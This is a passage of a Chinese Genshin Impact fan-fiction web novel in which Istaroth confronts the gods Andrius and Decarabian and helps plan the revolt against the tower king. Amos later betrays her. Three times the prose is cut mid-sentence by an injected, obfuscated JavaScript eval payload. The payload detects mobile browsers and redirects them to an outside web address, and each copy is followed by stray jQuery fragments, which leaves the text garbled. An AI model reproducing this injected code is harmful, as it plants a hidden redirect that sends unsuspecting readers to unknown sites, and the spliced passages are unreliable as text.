“谁知道你们这些人类是不是暗中沆瀣一气残害我的眷属?”
凛冽的寒风从安德留斯口中吐出,夹杂着冰屑,以势不可挡之势袭向伊斯塔露,将白发白衣吹得猎猎作响,却无法越过她半步。
以伊斯塔露为界,她身后的空间瞬间失去时间的概念,万物就此不变不移,连风也只能停下脚步,无法越过。
随后,伊斯塔露在烈风中向前方伸出手,星辰从她指间飞出——所过之处,时间湮灭,寒风停息。
有几点光亮甚至神不知鬼不觉地落到了安德留斯身上,接触的瞬间,骨肉瞬间衰老、脱落。
毫无还手之力的安德留斯发出痛苦的嘶吼声。
伊斯塔露挡在众人面前,没什么表情地仰视着体型巨大的狼王,气势上却分毫不弱:
“安德留斯,仇恨的根源不在人类身上,正如迭卡拉庇安不该因为你们的战争屠杀狼群。”
“温迪提起过,你向迭卡拉庇安宣战,不是有意争夺权力,而是因为他给人类带来了另一种苦难。”
安心划水的温迪即使听伊斯塔露提起了自己,也还是在一旁看热闹不嫌事大:
“安德留斯,风吹过以后,你冷静些了吗?”
“下次有话好好说哦。”
狼王脸色难看地瞪着风精灵,却只能看到对方得意洋洋的笑容,它低吼了一声:
“狐假虎威。”
温迪更是顺着安德留斯的话,开始添油加醋:
“伊斯塔露,你看你看,他说我狐假虎威诶,没有你我该怎么办呢?”
“所以你以后一定要多帮我啊。”
“你啊,少说两句。”
伊斯塔露无奈地拍了拍头上的风精灵。
“诶嘿。”
风精灵毫无悔意地笑。
伊斯塔露无波无澜的目光重新落到安德留斯身上:
“不如和人类划疆而治,互不侵扰吧,「北风之魔神」。”
安德留斯甩了甩毛,似乎想说什么,却忽然发出一声尖锐的短嗥。
与他随行的狼群顿时调转方向,井然有序地往西方撤退了。
安德留斯也只瞪了一眼风精灵,也跟在狼群的最末尾,离开了高崖。
“嗯?”伊斯塔露当然看出了安德留斯的反常,“温迪,它怎么回事?”
“伊斯塔露,你看北边。”
温迪的声音凝重了些。
“迭卡拉庇安来了哦。”
伊斯塔露往北方望了一眼,果然看见携烈风而来的迭卡拉庇安。
离他最近的少女白发赤足,赫然是阿莫斯。
伊斯塔露回头看了一眼不明就里的人类,问温迪:
“你们还要和城内的人里应外合,推翻迭卡拉庇安的统治,对吗?”
温迪似乎意料到了什么,飞下来拽了拽伊斯塔露的斗篷:
“伊斯塔露,休息一下吧?接下来的交给我就好啦。”
“没事,交给我吧。”
伊斯塔露不由分说地向前一步,她身后的空间,包括空间中的生灵,都被剥离出了时间轴,独立于时间的维度。
而显现出来的结果就是,所有人在“现在”凭空消失,但他们确实还在原地,同样也能通过特殊的连接通道,回到“现在”。
“温迪,或许你可以和我一样,尝试利用「时间」。”
在将其余所有人隔开之际,伊斯塔露如此道。
不远处,阿莫斯紧攥着长弓,跟在迭卡拉庇安身后,咬着牙问他:
“迭卡拉庇安大人,您答应过我的,不去‘狩猎’普通人,只是提防造反。”
“这不就是提防造反最好的方式吗?从根源上解决造反的叛徒。”
迭卡拉庇安不以为意地回答着,却又骤然回头看向阿莫斯,眼中透着寒光。
“还是说,阿莫斯,连你也要背叛我?”
“……不敢,孤王大人。”
阿莫斯在烈风中弯下了腰,迭卡拉庇安也将这当做敬爱与顺服。
“那就好,阿莫斯,你还是我最喜爱的奴隶。”
阿莫斯苦笑一声。
最喜爱的奴隶?众人都知道迭卡拉庇安最喜爱她,但她仍是奴隶,他还是记不住她的姓名。
迭卡拉庇安对铲除背叛他的古恩希尔德家族势在必得。
可等他领人登上冰原的高崖,只看见白发白衣的少女百无聊赖地坐在崖边,像是恭候多时。
魔神的气息挥之不去,少女却和无事人一样,平静地看着来势汹汹的人群。
“你居然没死?那些叛徒人呢?”
迭卡拉庇安是在问伊斯塔露。
伊斯塔露也懒得和他演,她站起身,打量着高塔孤王,轻嗤一声。
“我没死,你很失望吗,迭卡拉庇安?”
“你要找的人不在这里。”
瞬间被拉出时间轴之外的空间,不是迭卡拉庇安的权能能涉及的。
伊斯塔露风轻云淡地抬手拂去迭卡拉庇安召来的狂风,在魔神诧异的目光中笑了一声:
“我无意与你争夺此地的胜利,甚至可以告诉你古恩希尔德家族的下落。”
月色下,伊斯塔露走向有些茫然的高塔孤王:
“想知道吗?先带我回高塔吧。”
.
迭卡拉庇安的高塔顶层,灯光微黯,伊斯塔露坐在华丽的长椅上,摇晃着手中的金杯。
展现了和迭卡拉庇安匹敌的力量后,他对她虽然警惕,却也给了不同于人类的待遇。
在这个魔神相争的冰原,拥有力量才拥有话语权。
但伊斯塔露不喜欢这里,如果不是弗莱温还在城内,她绝对不会再回来。
——那个在笔记里,会死在反抗高塔孤王的战争中的小吟游诗人。
片刻后,一脸郁色的迭卡拉庇安推门而入,看见一脸淡然的伊斯塔露,他“啧”了一声,扭头就走。
“急着走吗?”伊斯塔露也不拦他,“不想知道怎么回事了吗?”
迭卡拉庇安瞥了她一眼,冷笑出声:
“有什么好问的。”
伊斯塔露摇晃着金杯,轻描淡写地煽风点火:
“嗯,难怪古恩希尔德那么讨厌你。”
迭卡拉庇安忍无可忍,他随手拉了张椅子坐下,咬牙切齿地道:
“你,安德留斯,还有那些叛徒,一个个都打着还给人类自由的旗号。”
“你以为我很有兴趣和安德留斯争?我看那些人类可怜才给予庇护,是安德留斯要攻破我的城邦!”
“自由?可笑,这里的风雪何曾允许他们追求自由?”
“我为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092088|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人类划出了能遮蔽风雪的城邦,还亲自治理,他们不该感恩戴德吗?”
“这些人类说我残暴,还逃出这里、背叛我,可他们之前不是心甘情愿向我俯首的吗?”
“迭卡拉庇安,”伊斯塔露轻咳一声,“你有些失态了。”
伊斯塔露甚至都没有用正眼去看迭卡拉庇安。
狼王安德留斯的性格都比这位人形魔神拟人。
“啧,真是……”
片刻后,迭卡拉庇安冷静下来,他回味了一下自己刚才的态度,转而狠狠地看着伊斯塔露:
“我的话又何曾有错?没有我庇护的人类根本无法存活。”
伊斯塔露不置可否,放下金杯,慢条斯理地擦了擦指尖,没有看身边的青年。
迭卡拉庇安从来没有正视过人类。
片刻后,她才悠悠反驳:
“真是自我感动式的付出啊,迭卡拉庇安。”
“回望一下自己做出来的事吧,光是冲撞你就要被打一百鞭?”
迭卡拉庇安不解地看向伊斯塔露:
“这是什么很大的惩罚吗?不痛不痒的事而已。”
“你拿自己和人类比?”
伊斯塔露无可奈何地看着他,最后只是摊了摊手。
“不如明天和我去看看吧,看看有多少人在你的统治下生不如死。”
迭卡拉庇安诧异地指指自己,又看看伊斯塔露:
“啧,使唤我?你配么?”
伊斯塔露挑了挑眉,吊起了迭卡拉庇安的胃口。
“随你,我还以为你会想知道,为何人类不能理解你那宝贵的‘爱’。”
“明明让人类痛苦不已,可你似乎又确实在爱着人类。”
“迭卡拉庇安,你对世人的爱,如鸩毒一般。”
伊斯塔露的话正中迭卡拉庇安的痛点,他的脸色变了又变,最后只阴恻恻地盯着她:
“我和你去,然后你告诉我那群叛徒的下落。”
伊斯塔露随口应下,反而又上下打量着金发青年,感慨了一句:
“迭卡拉庇安,你挺有趣的。”
这句话当然是纯粹的贬义。
“什么?”
被形容为“有趣”,迭卡拉庇安眯起眼,不悦地看着伊斯塔露。
伊斯塔露没有回答他,忽然抛出了另一个问题:
“说起来,阿莫斯很喜欢你,你知道吗?”
“……阿莫斯?有点耳熟,但记不清了。”
“箭法最好的猎手,做事得体的少女,众人眼中你最喜欢的奴隶。”
伊斯塔露娓娓道来。
“你怎么会还不记得她?”
“哦,很奇怪吗?”
迭卡拉庇安不以为意地耸了耸肩。
“她喜爱我也不足为奇,但我为什么要回应一个人类?你也说了是‘奴隶’,偶尔有几分喜欢而已。”
伊斯塔露状似无意地往门边看了一眼。
半掩的门后,白发赤足的少女攥紧了拳,又抬起另一只手,在脸上抹了一把。
沾了一手的眼泪。
伊斯塔露能感觉到她的存在,迭卡拉庇安也能。
他并不介意让阿莫斯听到这些。
阿莫斯能在他面前说两句话,不过是他当时觉得这个奴隶还算令人喜欢。
“我恨你,迭卡拉庇安……”
阿莫斯泪流满面,却声若蚊呐。随后,本该迅敏如豹的少女跌跌撞撞地离去。
她以为的低语却被二神收入耳中,迭卡拉庇安甚至都没有看她一眼。
“恨?人类对我有这样的情绪又如何?”
“我是魔神,为何要正视人类?”
“所以事情会发展成这样,才不足为奇啊。”
伊斯塔露懒懒散散地看了迭卡拉庇安一眼。
她也没兴趣知道。
她在等,在等十五个日月流转之后的那一天。
那是史上被称为“旧蒙德”的城邦,向高塔孤王举起反旗的第一天。
43.人间一梦(四十三)
在那之前,少年诗人弗莱温曾向风精灵温迪发出邀请——
「我想看见飞鸟翱翔的模样。」
「朋友,不与我同去吗?」
而后,风精灵温迪会在迭卡拉庇安王座崩塌之际,成为这个城邦的风神。
弗莱温则会死在这场追求自由的战役中。
而伊斯塔露要做的,只是像笔记里说的那样,推动高塔孤王的灭亡。
至于所谓“少年诗人的死亡”,她只要暗度陈仓就好了。
至于温迪要怎么打败安德留斯都无法撼动的高塔孤王……
伊斯塔露支着下巴,若有所思地看向迭卡拉庇安。
此时的迭卡拉庇安还在为人类不能理解他的爱而不满。
殊不知自由的种子已经在寒冰与疾风中生根发芽。
.
翌日清晨,伊斯塔露和迭卡拉庇安一起离开了高塔,没有带一名士兵。
然而街道上的人并没有因此松懈,仍然战战兢兢地向迭卡拉庇安下跪行礼,随后依旧弯腰驼背不敢抬头。
——当然,也没什么人能在迭卡拉庇安周身环绕的烈风中直起腰。
伊斯塔露本想伸手去扶其中一人,却被她惶恐万分地躲开,口中直呼不敢让迭卡拉庇安大人身边的人帮忙。
伊斯塔露无奈地收手,走回迭卡拉庇安身边:
“看见了吗?”
“看见什么?”
美貌而暴虐的金发青年摩挲着袖口,不解地与她对视。
“看见人类对我下跪以示尊敬么?”
伊斯塔露没理会迭卡拉庇安,只是拉着他走远了些,再摁着迭卡拉庇安的肩膀让他回头。
那些毕恭毕敬的人们已经揉着膝盖站起身,都是一副苦不堪言的模样。
还有人小声祈祷着今年能转运些,不要再见到迭卡拉庇安大人。
迭卡拉庇安有一瞬的沉默,随后,他冷笑一声:
“阳奉阴违?”
伊斯塔露幽幽地瞥他一眼:
“你该想想为何他们会阳奉阴违,他们甚至只是见到你,被你施以刑罚的人类更是苦不堪言。”
伊斯塔露的话从来没给迭卡拉庇安留面子,她眼看着高塔孤王的脸色变了又变。
迭卡拉庇安不悦地盯着伊斯塔露:
“前些天和你一起的人类呢?被我抽了一百鞭那个。”
“带我见他,我看看这对一个人类来说能有多严重。”
“……”
伊斯塔露深吸了一口气。
她错了,她实在没想到这事还能扯到弗莱温。
偏偏弗莱温被阿莫斯捞了,不看不知道,一看必穿帮。
她就不该劝这位独断专行的高塔孤王。
在一路打听之后,伊斯塔露领着高塔孤王来到了弗莱温住的屋子前。
木屋低矮,看得出来主人并不富裕。
伊斯塔露抬起手,敲了敲门,门被打开的瞬间,「时间」的权能却骤然发动,以毫无防备的迭卡拉庇安为中心,一小片地域的时间就此停滞。
伊斯塔露的目光从未落在高塔孤王身上,她只是向开门的弗莱温打了个招呼,便进入了屋中。
弗莱温在看见迭卡拉庇安后显然愣了一下,似乎又要不情不愿下跪,被伊斯塔露拉了一把,才发现高塔孤王似乎僵在了原地。
“哇哦,”少年诗人的眼睛明显亮了亮,“伊斯塔露,你做了什么,他……不是,迭卡拉庇安大人怎么不动了?”
“欸?什么迭卡拉庇安?”
温迪的声音从另一间屋子传来。
“风吹来了你的声音,伊斯塔露,好久不见。”
“明明昨天才见。”
伊斯塔露摇了摇头。
“弗莱温,温迪,长话短说,外面那个困不了迭卡拉庇安多久。”
她这种小打小闹的调用时间权能都和对方实力挂钩,调用真正用以改变过去和未来的「时间」,都是要付出代价的。
于是,几分钟后,风精灵和少年并排而坐,都一脸严肃地盯着她。
“咳咳”,弗莱温轻咳一声,率先发问,“伊斯塔露,能让我们问你几个问题吗?”
这阵仗让伊斯塔露后退了两步,她找了张椅子坐下,无奈地叹气:
“……好,问吧。”
先开口的却是温迪。
风精灵绕着她飞了一圈,开始说胡话:
“欸,伊斯塔露,你不会哪天就不理我了,然后装作不认识我吧?”
“这都哪跟哪?”伊斯塔露伸手弹了一下风精灵,“你们想问我为什么和迭卡拉庇安一起,但又觉得这样像在怀疑我?”
“没有,哈哈,怎么会呢?”
弗莱温脸皮薄,不好意思地摸着后脑勺,目光游移。
温迪倒是轻快地承认了:
“嘘,伊斯塔露,看出来了也不要说嘛,我和弗莱温会不好意思的。”
“其实也没什么,我让他亲眼来看看他给城内的人带来的苦难罢了,我和他不熟。”
伊斯塔露沉吟片刻。
“不过么……如果我说,迭卡拉庇安始终爱着人类,只是不知道如何去爱,才有了今天的局面呢?”
“你们还觉得他可恨吗?”
弗莱温似乎愣住了,他若有所思般低下头,神色凝重。
“欸,值得深思的问题。”
温迪倒是轻盈地笑了一声。
“可是伊斯塔露,苦难不会因为出发点是好的就被美化,对吗?”
“是啊,否则也不会有论迹不论心的说法了。”
伊斯塔露靠着椅背,敲了敲木桌。
就像阿赫玛尔说的,谁都要为自己做的事情付出代价的。
如果他当初以“都是为了人类”为借口,否认自己带来的灾厄,她也会看不起他。
迭卡拉庇安也一样,再爱人的初心也不能改变他几乎囚禁了人类的事实。
“我还是想看看高塔外的世界,不计代价,也不会后悔。”
最后,弗莱温抬起头,认真地看着风精灵和少女。
伊斯塔露点点头,不置可否。
劝弗莱温反抗高塔孤王的话,她不想在温迪面前说。
恰巧温迪也没有回答弗莱温的问题,伊斯塔露由此另起了话头:
“所以温迪怎么进城了?”
“我最近要出远门,所以悄悄进城,来找弗莱温和你告个别。”
“没想到刚好凑一起咯。”
“欸?要去哪里?那你要猜猜看吗?”
风精灵故作神秘地向伊斯塔露眨了眨眼。
“还是不猜,温迪开心就好。”
伊斯塔露拍了拍风精灵的脑袋,倒也没忘记正事:
“迭卡拉庇安要我带他来看弗莱温被打了一百鞭以后,是什么样子。”
“欸,欸?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104844|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弗莱温如临大敌,“他不是从不在乎我们吗?这样有点过分了吧?而且真抽了一百鞭我还能活吗?”
“说不准突然意识到民生疾苦呢。”
伊斯塔露有些心虚地移开了目光。
“要不你拿绑带把自己缠一下,勉强演演吧,迭卡拉庇安应该对伤势没什么概念。”
在温迪的帮忙下,弗莱温勉强把自己裹成了半只粽子,往床上一躺。
伊斯塔露则出了门,打了个响指,解开了时间权能的禁锢,迭卡拉庇安的瞳孔重新聚焦。
但他开口的第一句话却是:
“我刚刚是不是看到一只丑陋的风精灵飞过去了?”
伊斯塔露连眼皮都没抬。
“迭卡拉庇安,你身为魔神,居然会在意一只风精灵?”
“也是。”
迭卡拉庇安轻嗤一声,率先进屋。
伊斯塔露这才用眼角余光瞥了一眼飞出屋子的温迪,恰好看见他在冲迭卡拉庇安做鬼脸。
随后,风精灵朝伊斯塔露眨了眨眼,算是告别,缓缓飞向远方。
而弗莱温的演技虽然堪忧,但迭卡拉庇安也对人类的身体素质毫无概念。
在冷冷注视了少年诗人片刻后,他大概认识到了一点自己的问题。
“那以后改成抽七十五鞭吧。”
踏出弗莱温家的门槛时,迭卡拉庇安如此下令。
伊斯塔露无话可说。
在高塔孤王意兴阑珊甩手而去后,伊斯塔露折返回弗莱温家,正巧看见少年诗人在费劲地拆着绑带。
听完她转述的迭卡拉庇安的决定,弗莱温也不掩饰地摇头:
“所以他还是没有耐心理解人类吧?抽一百鞭和七十五鞭有什么区别吗?都会打死人的。”
“……高塔孤王开没开口的区别吧。”
伊斯塔露沉默片刻,诚恳地道。
伊斯塔露知道迭卡拉庇安是无法劝说的。
阿莫斯早就说过,她也劝过迭卡拉庇安很多次——用她梦见的海浪、细沙、森林和大地。
可迭卡拉庇安没有理会过她,哪怕一次。
她只是觉得迭卡拉庇安应该亲眼看看他给人类造成的苦难。
若是他太恨人类,最后想要鱼死网破,她救人要花的力气可不是劝高塔孤王两句能比的。
听到伊斯塔露的讽刺,弗莱温也沉默了,片刻后两人不约而同地抬眼看向对方:
“弗莱温,你想看到高塔之外的景色吗?”
“伊斯塔露,我想看到高塔之外的景色。”
相似的话语在同一时间脱口而出。
弗莱温愣在原地,伊斯塔露倒是舒了口气。
随后,弗莱温不好意思地挠了挠头:
“其实我是特意等温迪不在的时候问你的。”
“这个问题我也问过他——‘朋友,不与我同去吗’,温迪说好。”
“但他也说,高塔的崩溃,并非一朝一夕,他希望我不要急,他想让所有人都能活着感受到高塔外的自由。”
与此同时,虚掩的大门却忽然被人推开,背着长弓的白发少女逆光而立,语调冰冷:
“高塔的崩溃?小弗莱,你想要打倒迭卡拉庇安大人、推翻那座高塔?”
阿莫斯解下背后的长弓,垂下眼帘,有一下没一下地弹着弓弦:
“小弗莱,即使你知道我对迭卡拉庇安他……也执意如此吗?”
44.人间一梦(四十四)
“阿莫斯姐姐?!”
弗莱温有些慌了神,他张口结舌地试着解释:
“对不起,我……”
“伊斯塔露,小弗莱,如果你们真的下定了决心,我会加入你们。”
阿莫斯打断了弗莱温。
“一起去争取高塔外的自由吧。”
阿莫斯与弗莱温对视,温和却不容置疑地道。
但她却不敢看伊斯塔露。
阿莫斯唯恐伊斯塔露看出她的真心。
阿莫斯知道,她没有那么在意自由。
她只是不想再被迭卡拉庇安大人忽视了,哪怕她曾为他挽弓无数次,也无法在他眼中刻下一分影子。
若是站在他的对立面,将箭矢射入他的心脏……
赤足白发的少女面色沉静,内心却为这个决定隐隐雀跃。
如此,便能得到他的注视了吧。
弗莱温对此大为惊讶,但几乎没有犹豫便欣然接受。
伊斯塔露则多看了阿莫斯一眼。
她知道阿莫斯有多爱高塔孤王,所以隐约也能猜到她的因爱生恨。
或许也没有恨,但阿莫斯的执念太过深重。
这是好事吗?伊斯塔露类比了自己,最后释然般舒了口气。
只要不后悔就不是坏事吧。
.
等温迪从城外回来,听到的第一个消息就是城中已经有了造反的苗头。
而他最熟悉的两位,正在推动反抗浪潮主要几人之中——
少年诗人弗莱温,伊斯塔露,红发骑士莱艮芬德,和赤足少女阿莫斯。
温迪在友人的家中找到了那几位“罪魁祸首”,还得到了弗莱温推到他面前的一杯酒:
“朋友,我们马上就要看到城外的飞鸟了!”
风精灵飞到杯沿边,慢慢地喝了一口苹果酒,佯装无奈:
“唉,都到这份上了,我还能怎么样呢,只好加入你们啦……”
“但我只是一只弱小的风精灵哦,你们一定要保护我啊。”
“……”
红发骑士对风精灵毫不走心的示弱不做评价,扬起头将木桶杯中的酒一饮而尽。
阿莫斯安静地抿着杯中的酒,对风精灵的加入不置可否,却饶有兴趣地打量着它。
伊斯塔露则被温迪拉着举起了手边的木桶杯,和他自己的酒杯相碰。
“唉呀,弗莱温突然就下定决心要亲自抗争了呢,不过这也是好事。”
“……是啊。”
伊斯塔露点点头。
她觉得温迪似乎想问她,是否是她推动弗莱温这么做的,但大概是出于信任,还是没有多问。
与此同时,弗莱温向其余三人举起了酒杯。
“来吧,朋友们,敬我们的所做的一切,也敬终将到来的明天,我们一定会看到高墙外的世界!”
几只木桶杯相碰,发出沉闷的声响,溅起的酒液却只倒映出了每个人对未来的向往,再没有曾几何时的彷徨。
可有那么一瞬间,伊斯塔露觉得她好像回到了三百多年前的绝云间。
当时许愿“年年有今日”的故人,如今还剩谁呢?
而这次,众人许下的愿望是看到高塔之外的自由。
可在黎明未至之时,所有人仍满怀憧憬:
“敬——终将自由的明天。”
.
入夜,高塔中。
在昏暗的烛光的映照下,伊斯塔露在临时居所中,翻阅着神秘声音留给她的笔记。
随着城内的动乱势头越来越大,日渐烦躁的迭卡拉庇安已经无心处理她,也没有再时不时盯着她的动向,伊斯塔露也终于能重新翻开它。
其实里面的大部分内容,她都已经熟记于心,如今唯一让她在意的,是最后一页——
「如今的「天理」已经不是……」
记载到这句话戛然而止,随后的整整半页都被大块的黑色污渍覆盖。
偏偏污渍规整,恰好覆盖了此后的记载,不像是无意为之。
伊斯塔露用指尖轻抚着污渍,眼前却骤然一黑,她晃晃悠悠地趴在了桌面上。
尖锐的疼痛感自大脑中爬出,叫嚣着蔓延开,磋磨着她的神志,连带伊斯塔露眼前缓缓亮起的景象也模糊不堪。
她只能看见一抹青绿的人影,而人影面向她,摊开了手掌,掌心里是一朵纯白的花朵。
“让你久等啦,伊斯塔露。”
伊斯塔露没有回应他。
于是绿色的家伙懊恼的拍了拍头顶的帽子:
“欸?看样子是忘记我了吗?我是温迪呀。”
不过人类模样的温迪很快便释然地笑了,他收起了掌心的花朵,朝她挥了挥手,转身离开:
“看来现在还不是时候呀。”
“不过没关系哦,你一定也预想到了这件事吧?我本就是为你才出现在此。”
“伊斯塔露,我会等你的。”
“我会一直在未来,等着你来取回属于你的东西。”
……未来,伊斯塔露下意识重复了一遍这个词。
未来的温迪在等她吗?而她早有预料?
伊斯塔露下意识地伸出手,想追上那抹影子,却只能跌跌撞撞地困在原地,忍耐着脑海中的痛楚,目送温迪远去。
伊斯塔露摁着隐隐作痛的太阳穴,忽然想起一件事。
——自从创造了温迪,她几乎就不做梦了。
那些或是怪诞不经、或是波澜壮阔的故事,也就是这个世界的历史,她再也没看过。
伊斯塔露还记得,她的梦境是提瓦特的过去、现在和未来。
那她现在看到的,是什么时候的未来?她要从温迪手里取回什么?
在伊斯塔露毫无思绪之时,少年的声音在她耳边响起:
“伊斯塔露,伊斯塔露,我是温迪,你怎么啦?”
伊斯塔露骤然睁眼,在风精灵担忧的注视下,抬起了头。
头疼在一瞬间消散无踪,眼前也依旧是高塔的白墙,伊斯塔露恍惚着直起身子,却看见那本未卜先知的笔记还摊在桌面上。
温迪就站在摊开的纸页上。
伊斯塔露难得拂去了淡然,她一把抓起了风精灵,合上了笔记,语气急促:
“温迪,你看到那本笔记里的内容了?!”
“伊斯塔露,你怎么能这么想我?”
风精灵任由她提起自己,还做出一副受伤的模样。
“我不会偷偷看别人日记的哦。”
“……没有么,没有就好。”
伊斯塔露舒了口气。
温迪没看到就好。
无论是魔神战争背后不可告人的「天理」,还是他的朋友注定死在风墙溃散前夕的命运。
甚至三百多年前,归终看完笔记后也只能向「天理」献头。
温迪没必要触碰这些东西。
“欸,这么紧张吗?不会是偷偷写我坏话了吧?”
风精灵戳了戳伊斯塔露的掌心。
伊斯塔露避而不答,把温迪重新放回桌面:
“怎么来找我了?”
温迪坐在桌边,晃着两条腿,抬起头和伊斯塔露对视:
“欸,没事就不能来了吗?好无情哦,伊斯塔露。”
“三百多年不见,你的变化好大啊。”
伊斯塔露顺着温迪的目光,指了指自己:
“啊……有吗?”
“诶,没有吗?可是还在沙漠的时候,你没有那么淡然哦?”
当年伊斯塔露还会时不时呛一呛阿赫玛尔。
风精灵歪了歪头,话中的情绪忽然沉了下来。
“不过仔细想想,或许你一直都没变吧,只是漫长的「时间」淡化了你的情绪。”
“所有人在你的眼中同样平等,同样只是沧海一粟,同样……无足轻重。”
在伊斯塔露疑惑的目光中,温迪轻轻地点点头。
“甚至包括你自己。”
一直如此无情吗?伊斯塔露垂头看着伸出的右手,若有所思。
她用这只手试图挽留过归终、娜布和阿赫玛尔,也用这只手杀死过沙克斯和弗加洛。
失去记忆的她曾拼尽全力挽救友人,却也杀伐果断从未后悔。
“不是吗?”
“连自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114764|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己也可以不在意,甚至将「时间」的部分权能给我,你想得到什么呢?”
“伊斯塔露,世间的神明都如你一般,温柔而无情吗?”
面对温迪的询问,伊斯塔露无言以对。
什么是神明呢?她也无法言之凿凿,毕竟她也不比温迪多出多少阅历。
迄今为止,她最深刻的记忆还在将近四百年前。
但她唯一可以肯定的是,她很庆幸能以“人”的思绪,在世间栖居百年。
伊斯塔露伸出手,让风精灵落在自己的掌心:
“温迪,你见过阿赫玛尔和娜布,也见过安德留斯和迭卡拉庇安,你觉得神明应该是什么样呢?”
“我的回答终究不属于你,所有问题的答案,都是你亲眼见证这个世界的证明。”
随后,她缓缓闭上双眼。
“而我……不必把我当做神明,我只是记录万物的过客而已。”
“如果说这是无情的话,或许也不是坏事,至少我能因此正视万物。”
话音刚落,伊斯塔露那一幕幕记忆如同画片徐徐展开,在温迪眼前一一掠过。
充满烟火味的归离集,云深不知处的绝云间,摩天碍日的赤王陵寝,亘古不变的永恒绿洲,水天相接的潮湿雨林,还有一望无际的冰原冻土。
以及许许多多与她相逢的人们,哪怕只有一面之缘。
伊斯塔露一直都记得,记得尘世间所见过的一切。
她对收入眼中的万事万物一视同仁。
“在我眼中,无论是我还是你,都不比人类更高贵。”
“岁月流转,万物更迭,留存下来的是我们与人类都拥有的‘意志’。”
所有生命在她眼中同样无足轻重吗?
不,或许应该是同样宝贵。
伊斯塔露睁开眼,刻入眼中的时刻表似乎也随之转动。
“「时间」——我的权能。”
“这并非意味着我应该在漫长的时间里对一切袖手旁观,而是意味着它会在历史的长河里刻下每一个生灵熠熠生辉的瞬间。”
“如果说我还有什么私心的话……”
伊斯塔露微微一顿。
毕竟所谓的「时之执政」,只是伊斯塔露的身份,而不是她走入这个世界的凭依。
哪怕生命漫长,她的灵魂,也与人类无异。
“我希望人间盛世永昌,希望我的故人都能有好的归宿。”
在昏暗的烛火下,伊斯塔露托起了掌心中的风精灵,神色依旧疏淡,眼中却带着笑意。
“而温迪会被许多人爱着,也爱着这个世界。”
疏淡如琉璃的神女柔和了眉眼,风精灵呆呆地与她对视,难得有些无措。
伊斯塔露从未否认过她对温迪的爱。
历经了将近四百年的光阴,无人照拂的风精灵仍然温柔地对待这个世界。
所以身为创造者,她也希望温迪永远被世界珍爱。
温迪愣了许久,等品读出伊斯塔露的话里并无他意后,他便语调轻快地带过了话题:
“欸,说起来,我出城时带了礼物给你。”
“来,伊斯塔露,伸手。”
伊斯塔露从善如流,向温迪摊开了手。
风精灵将一朵纯白的三瓣花放入伊斯塔露掌心。
花瓣舒展,犹带露珠。
“这是我最喜欢的花,塞西莉娅花,你一朵我一朵,要好好珍藏哦。”
似乎是怕伊斯塔露把他的话当过耳秋风,风精灵又神秘兮兮地道:
“伊斯塔露,凑过来,再悄悄告诉你一件事哦。”
“这朵花是无缘无故从天空上落下,把我脑袋砸开花的奇迹呢。”
“嗯……不过也可能是安德留斯向某位魔神表白失败的见证物哦?”
“这两个说法你选一种当真的吧,欸嘿。”
说完,风精灵飞出窗外,很快融入了夜色之中。
伊斯塔露无奈地目送温迪远去,随后,小心地将美丽的白花收好。
她曾听阿莫斯说过,塞西莉娅是一种只生长在料峭高崖上的花,花语是——
浪子的真心。
45.人间一梦(四十五)
与此同时,高塔的顶楼,阿莫斯端着一盘洗净的蔬果,敲开了高塔孤王居室的门:
“迭卡拉庇安大人,事关城内叛乱,请容我向您禀告……”
阿莫斯走入屋内的瞬间,凛冽的风呼啸着关上了门。
阿莫斯捧着果盘,毕恭毕敬地向高塔孤王俯首:
“拜见迭卡拉庇安大人。”
美貌的金发青年没有用正眼看她,只是不耐烦地摆了摆手:
“现在没空看你虚头巴脑的礼节,说话。”
“……是。”
阿莫斯将果盘放在一边,低眉顺眼地站在迭卡拉庇安面前。
“迭卡拉庇安大人,您着意的、在城内掀起反叛浪潮的队伍,我已混入其中,知晓他们的动作,容我向您汇报。”
迭卡拉庇安却不以为意地摆手,顺手拈起阿莫斯送来的果子,放入口中。
“我不在意叛徒想干什么,你去解决这些事吧。”
阿莫斯微微抬眼,神色复杂地看了迭卡拉庇安一眼,咬咬牙道:
“……还有,您要谨防内鬼。”
迭卡拉庇安的视线终于落到了她身上:
“嗯?”
“……是伊斯塔露。”
阿莫斯的声音都在颤抖。
“早就知道她不怀好意。”
迭卡拉庇安不以为意地压了压指骨。
“过几天把她解决了。”
阿莫斯半跪在地,向迭卡拉庇安行了君臣之礼。
“我会为您压下城中的躁动,并且惩治那些不知天高地厚的人。”
“很好。”
青年微微躬身,掐住了阿莫斯的下巴,却没有一点怜香惜玉的意思。
“阿莫斯,我最宠爱的奴隶。”
可他此时的视线甚至也不在她身上。
